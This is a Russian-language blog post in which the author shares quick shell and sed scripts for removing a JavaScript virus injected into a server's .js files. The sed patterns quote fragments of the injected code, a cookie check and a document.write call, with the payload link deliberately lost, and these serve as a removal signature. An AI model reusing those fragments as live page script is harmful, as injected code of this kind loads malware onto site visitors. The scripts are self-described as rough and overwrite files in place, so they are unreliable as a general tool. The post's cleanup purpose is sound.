Пруль (prool) wrote,
Пруль
prool

Categories:

Удаление JS-вируса

Hi, All!

Сегодня я уд0лял у человека вирус, внедрившийся в .js файлы на его сервере. Делюсь своим быдлокодом, может кому пригодится. Быдлокод такой быдлокод, например, он тупит, когда в поддереве вообще отсутствуют файлы *.js. При туплении надо нажать cntrl D. Это не экспортный код, я его наваял по быстрому на коленке, удалил тело вируса и всё.

delete-virus.sh:

#/bin/sh
grep -l linkfooter `find $1 | grep ".js"` | awk '{print "./skript.sh " script $1}'



linkfooter - это подстрока, по которой ищутся зараженные файлы (это имя домена в зоне org, на котором расположена главная часть вируса, тоже в виде .js)

skript.sh:

#/bin/sh
echo $1
cp $1 /tmp/skript.tmp
sed -f /home/prool-backup/sed.cmd /tmp/skript.tmp > $1




sed.cmd:

1,$s/function g(){var r=new RegExp("(\?:; )\?1=(\[\^;\]\*);\?");return r.test(document.cookie)\?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));//
1,$s/if(!g()&&window.navigator.cookieEnabled){document.cookie="1=1;expires="+e.toGMTString()+";path=\/";document.write('<\/script>');}//






sed.cmd - это удаление двух строк вируса командой 1,$s/строкавируса//

Обратите внимание, что специальные символы невозбранно экранированы обратною косою чертою. Кроме того, ЖЖ редактор слегка покорежил тело вируса в тексте файла sed.cmd, но это и хорошо, не будет опубликована ссылка на зараженный сайт и текст вируса. Тем более, что дело не в конкретном вирусе, этим скриптом можно удалять любой вирус из любых файлов (или вообще любые строки). Главное, если вы удаляете какой-то сложный текст, не надо забывать экранировать в нем символы, которые могут быть восприняты как регулярные выражения * ? /

Subscribe
  • Post a new comment

    Error

    default userpic

    Your reply will be screened

    Your IP address will be recorded 

    When you submit the form an invisible reCAPTCHA check will be performed.
    You must follow the Privacy Policy and Google Terms of use.
  • 23 comments